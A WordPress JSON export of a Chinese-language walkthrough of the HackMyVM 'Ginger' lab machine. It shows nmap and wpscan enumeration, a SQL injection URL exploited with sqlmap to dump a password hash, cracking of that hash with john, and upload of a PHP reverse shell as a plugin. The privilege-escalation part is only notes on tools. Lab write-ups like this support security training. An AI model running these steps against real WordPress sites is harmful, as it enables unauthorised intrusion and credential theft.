{"id":55,"date":"2024-04-01T23:38:18","date_gmt":"2024-04-01T15:38:18","guid":{"rendered":"http:\/\/xiyu12.top\/?p=55"},"modified":"2024-04-01T23:38:18","modified_gmt":"2024-04-01T15:38:18","slug":"ginger","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=55","title":{"rendered":"Ginger"},"content":{"rendered":"\n

 \u7f51\u5740\uff1aHackMyVM | Ginger<\/a><\/p>\n\n\n\n

\u9776\u673a\u4fe1\u606f\uff1a<\/p>\n\n\n\n

created by cromiphi<\/a><\/p>\n\n\n\n

Release Date \/\/ 2021-06-04<\/p>\n\n\n\n

MD5 \/\/\u00a066849c6723537ad16fec1c149ed8ef37<\/p>\n\n\n\n

\u653b\u51fb\u673a 192.168.56.5 <\/p>\n\n\n\n

\u4fe1\u606f\u6536\u96c6<\/strong><\/p>\n\n\n\n

\u76ee\u6807IP\uff1asudo nmap -sn 192.168.56.0\/24 \u83b7\u5f97ip\uff1a192.168.56.3<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7aef\u53e3\u626b\u63cf\uff1asudo nmap -sT –min-rate 10000 -p- 192.168.56.3 \u83b7\u5f97\u76ee\u6807\u7aef\u53e3\uff1a80\u300122<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4e24\u4e2a\u7aef\u53e3 80\uff0c22 \u65b9\u5411\u4e3a web\u670d\u52a1<\/p>\n\n\n\n

\u76ee\u5f55\u626b\u63cf\uff1agobuster dir -u http:\/\/192.168.56.3 –wordlist \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x .zip,.sql,.html,.rar,.txt,.php \u83b7\u5f97\u5173\u952e\u76ee\u5f55 wordpress \u548c\u4e00\u4e2a\u5154\u5b50\u6d1e latest.zip<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8bbf\u95eehttp:\/\/192.168.56.3\/wordpress \u786e\u5b9a\u7f51\u9875\u4e3a wordpress CMS<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4f7f\u7528wpscan \u6d4b\u8bd5http:\/\/192.168.56.3\/wordpress \u7528\u6237\u540d\u679a\u4e3e \u63d2\u4ef6\u6f0f\u6d1e\u679a\u4e3e <\/p>\n\n\n\n

wpscan –url http:\/\/192.168.56.3\/wordpress -e u<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u63d2\u4ef6\u6f0f\u6d1e\u679a\u4e3e\u6709\u4e24\u70b9\u9700\u8981\u6ce8\u610f 1.\u9700\u8981\u5e26\u4e0awpscan\u7684api-token \u63d2\u4ef6\u679a\u4e3e\u7684\u6a21\u5f0f\u9700\u8981\u8bbe\u7f6e\u4e3aaggressive <\/p>\n\n\n\n

wpscan –url http:\/\/192.168.56.3\/wordpress –api-token xxxxxxx -e vp –plugins-detection aggressive <\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u83b7\u5f97\u7acb\u8db3\u70b9<\/strong> <\/p>\n\n\n\n

https:\/\/www.exploit-db.com\/exploits\/36243\/<\/a> sql\u6ce8\u5165\u6f0f\u6d1e\u5229\u7528<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

http:\/\/192.168.56.3\/wordpress\/?action=data_management&cpmvc_do_action=mvparse&f=edit&id=1<\/p>\n\n\n\n

sqlmap -u “” –batch –dump \u5c06\u76ee\u6807\u6570\u636e\u5e93\u7684user\u8868 dump\u4e0b\u6765<\/p>\n\n\n\n

\u83b7\u5f97\u4e00\u4e2a\u51ed\u8bc1 $P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr. <\/p>\n\n\n\n

echo ‘ $P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr. ‘>>hashes<\/p>\n\n\n\n

john –wordlist=\/usr\/share\/wordlists\/rockyou.txt hashes \u83b7\u5f97\u5bc6\u7801 \uff1asanitarium<\/p>\n\n\n\n

\u540e\u53f0\u7f51\u5740 http:\/\/192.168.56.3\/wordpress\/wp-admin\/ \u4f7f\u7528 webmaster\uff1asanitarium \u767b\u9646wordpress <\/p>\n\n\n\n

\u8fdb\u5165\u540e\u53f0 wordpress getshell<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5728plugins\u4e2d \u63d0\u4ea4\u63d2\u4ef6 addnew\u4e2d \u63d0\u4ea4\u4e00\u4e2a\u53cd\u5f39shell <\/p>\n\n\n\n

kali\u81ea\u5e26\u53cd\u5f39shell\uff1a \/usr\/share\/webshells\/php\/php-reverse-shell.php \u4fee\u6539\u76d1\u542cip<\/p>\n\n\n\n

nc -lvp 1234 \u76d1\u542c\u53cd\u5f39 \u5728media\u4e2d\u627e\u5230\u4e0a\u4f20\u7684php-reverse-shell.php \u8bbf\u95ee<\/p>\n\n\n\n

\u83b7\u5f97\u53cd\u5f39shell www-data<\/p>\n\n\n\n

\u63d0\u6743<\/strong><\/p>\n\n\n\n

\u6d89\u53ca\u77e5\u8bc6\u70b9 <\/p>\n\n\n\n

1.dmesg <\/p>\n\n\n\n

dmesg\u662f\u4e00\u4e2a\u5728Linux\u7cfb\u7edf\u4e2d\u5e7f\u6cdb\u4f7f\u7528\u7684\u547d\u4ee4\uff0c\u5b83\u7528\u4e8e\u663e\u793a\u5185\u6838\u73af\u5f62\u7f13\u51b2\u533a\uff08ring buffer\uff09\u4e2d\u7684\u6d88\u606f\uff1a\u7cfb\u7edf\u542f\u52a8\u548c\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u7684\u91cd\u8981\u4fe1\u606f\uff0c\u5982\u786c\u4ef6\u68c0\u6d4b\u3001\u9a71\u52a8\u52a0\u8f7d\u3001\u7cfb\u7edf\u9519\u8bef\u7b49<\/p>\n\n\n\n

2.socat \u548c \u7aef\u53e3\u8f6c\u53d1 \u548c tldr \u548c ss <\/p>\n\n\n\n

Too Long; Didn’t Read”\uff08\u7b80\u79f0TLDR\uff09\uff0c\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5feb\u901f\u5165\u95e8\u7684\u6307\u5357\uff0c\u8ba9\u8bfb\u8005\u53ef\u4ee5\u8fc5\u901f\u5f00\u59cb\u4f7f\u7528\u8f6f\u4ef6\u3002<\/p>\n\n\n\n

socat<\/code> \u662f\u4e00\u4e2a\u591a\u529f\u80fd\u7684\u7f51\u7edc\u5de5\u5177\uff0c\u5b83\u7528\u4e8e\u5728\u4e24\u4e2a\u6216\u591a\u4e2a\u5730\u5740\u4e4b\u95f4\u5efa\u7acb\u53cc\u5411\u7684\u6570\u636e\u4f20\u8f93\u3002\u8fd9\u4e9b\u5730\u5740\u53ef\u4ee5\u662f\u7f51\u7edc\u5957\u63a5\u5b57\u3001\u6587\u4ef6\u3001\u4e32\u884c\u7aef\u53e3\u3001SSL\u7aef\u53e3\u7b49\u3002socat<\/code> \u5e38\u88ab\u7528\u4e8e\u7aef\u53e3\u8f6c\u53d1\u3001\u7f51\u7edc\u76d1\u63a7\u3001\u6d4b\u8bd5\u548c\u8c03\u8bd5\u7b49\u573a\u666f\u3002<\/p>\n\n\n\n

tldr socat<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

socat TCP-LISTEN:80,fork TCP4:127.0.0.1:88 <\/p>\n\n\n\n

\u4e0a\u8ff0\u8bed\u53e5\u5c06\u5230\u8fbe\u7aef\u53e380\u7684\u6d41\u91cf\u8f6c\u53d1\u5230\u672c\u5730\u7684\u53e6\u4e00\u4e2a\u670d\u52a1\u4e0a\uff0c\u4f8b\u5982\uff0c\u4f60\u53ef\u80fd\u6709\u4e00\u4e2a\u8fd0\u884c\u5728\u7aef\u53e388\u4e0a\u7684\u672c\u5730Web\u670d\u52a1\u5668\uff0c\u4f60\u5e0c\u671b\u6240\u6709\u901a\u8fc7\u7aef\u53e380\u7684\u6d41\u91cf\u90fd\u88ab\u8f6c\u53d1\u5230\u8fd9\u4e2a\u670d\u52a1\u5668\u4e0a<\/p>\n\n\n\n

ss\u662f\u7c7b\u4f3cnetstat \u7684\u66f4\u65b0\u7684\u5de5\u5177
ss<\/code>\u547d\u4ee4\u662fLinux\u7cfb\u7edf\u4e2d\u7528\u4e8e\u67e5\u770b\u5957\u63a5\u5b57\u4fe1\u606f\u7684\u5de5\u5177\uff0c\u5b83\u662fnetstat<\/code>\u547d\u4ee4\u7684\u4e00\u4e2a\u73b0\u4ee3\u66ff\u4ee3\u54c1\u3002ss<\/code>\u547d\u4ee4\u63d0\u4f9b\u4e86\u66f4\u4e30\u5bcc\u7684\u9009\u9879\u548c\u66f4\u597d\u7684\u6027\u80fd\u3002\u4ee5\u4e0b\u662fss<\/code>\u547d\u4ee4\u7684-lntup<\/code>\u9009\u9879\u7684\u8be6\u7ec6\u89e3\u91ca\uff1a<\/p>\n\n\n\n

    \n
  • -l<\/code> (listen)\uff1a\u663e\u793a\u76d1\u542c\u72b6\u6001\u7684\u5957\u63a5\u5b57\u3002\u8fd9\u5305\u62ec\u6240\u6709\u6b63\u5728\u7b49\u5f85\u63a5\u53d7\u8fde\u63a5\u7684TCP\u548cUDP\u670d\u52a1\u3002<\/li>\n\n\n\n
  • -n<\/code> (numeric)\uff1a\u4e0d\u89e3\u6790\u670d\u52a1\u540d\u79f0\uff08\u5982\u7aef\u53e3\u53f7\u548c\u5730\u5740\uff09\uff0c\u663e\u793a\u5b9e\u9645\u7684\u6570\u5b57\u3002\u901a\u5e38\u4e0e-a<\/code>\uff08\u663e\u793a\u6240\u6709\u8fde\u63a5\uff0c\u5305\u62ec\u76d1\u542c\u548c\u975e\u76d1\u542c\uff09\u4e00\u8d77\u4f7f\u7528\u65f6\uff0c-a<\/code>\u4f1a\u5c1d\u8bd5\u89e3\u6790\u670d\u52a1\u540d\u79f0\uff0c\u800c-n<\/code>\u4f1a\u963b\u6b62\u8fd9\u4e00\u884c\u4e3a\u3002<\/li>\n\n\n\n
  • -t<\/code> (TCP)\uff1a\u663e\u793aTCP\u8fde\u63a5\u3002\u5982\u679c\u4e0d\u4f7f\u7528-t<\/code>\u6216-u<\/code>\uff0c\u5219\u4f1a\u663e\u793a\u6240\u6709TCP\u548cUDP\u8fde\u63a5\u3002<\/li>\n\n\n\n
  • -a<\/code> (all)\uff1a\u663e\u793a\u6240\u6709\u5957\u63a5\u5b57\uff08\u5305\u62ec\u76d1\u542c\u548c\u975e\u76d1\u542c\u7684\u5957\u63a5\u5b57\uff09\u3002<\/li>\n\n\n\n
  • -p<\/code> (process)\uff1a\u663e\u793a\u76d1\u542c\u5957\u63a5\u5b57\u6240\u5c5e\u7684\u8fdb\u7a0b\u4fe1\u606f\u3002\u8fd9\u9700\u8981\u6709\u8db3\u591f\u7684\u6743\u9650\uff0c\u901a\u5e38\u662froot\u6743\u9650\u3002<\/li>\n\n\n\n
  • -u<\/code> (UDP)\uff1a\u663e\u793aUDP\u8fde\u63a5\u3002\u4e0e-t<\/code>\u7c7b\u4f3c\uff0c\u5982\u679c\u4e0d\u6307\u5b9a-t<\/code>\u6216-u<\/code>\uff0c\u5219\u4f1a\u663e\u793a\u6240\u6709TCP\u548cUDP\u8fde\u63a5\u3002<\/li>\n<\/ul>\n\n\n\n

    3.flask\u6846\u67b6 \u548c ssti\u6ce8\u5165\u6f0f\u6d1e \u548cFlask\u6846\u67b6\u4e2d\uff0c\u5f00\u542fdebug\u6a21\u5f0f<\/p>\n\n\n\n

    Flask\u662f\u4e00\u4e2a\u7528Python\u7f16\u5199\u7684\u8f7b\u91cf\u7ea7Web\u5e94\u7528\u6846\u67b6<\/p>\n\n\n\n

    4.openssl passwd \u548c Mkpasswd<\/p>\n\n\n\n

    OpenSSL<\/strong>\u00a0\u662f\u4e00\u4e2a\u5e7f\u6cdb\u4f7f\u7528\u7684\u5f00\u6e90\u5e93\uff0c\u5b83\u63d0\u4f9b\u4e86\u5404\u79cd\u52a0\u5bc6\u51fd\u6570\u3001\u534f\u8bae\u548c\u5de5\u5177\uff0c\u7528\u4e8e\u4fdd\u62a4\u8ba1\u7b97\u673a\u7f51\u7edc\u4e0a\u7684\u901a\u4fe1\u3002openssl passwd \u547d\u4ee4\u5141\u8bb8\u60a8\u4e3a\u4e0d\u540c\u7684\u7b97\u6cd5\uff08\u5982 DES\u3001MD5\u3001SHA-256 \u7b49\uff09\u751f\u6210\u5bc6\u7801\u54c8\u5e0c<\/p>\n\n\n\n

    mkpasswd -m SHA-512 123456<\/p>\n\n\n\n

    openssl passwd 123456<\/p>\n","protected":false},"excerpt":{"rendered":"

     \u7f51\u5740\uff1aHackMyVM | Ginger \u9776\u673a\u4fe1\u606f\uff1a created by cromip […]<\/p>\n","protected":false},"author":1,"featured_media":15,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[26,30,79,95,101],"class_list":["post-55","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-target-aircraft","tag-dmesg","tag-flask-debug","tag-socat","tag-tldr","tag-wpscan-"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/55","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/55\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/media\/15"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=55"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=55"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}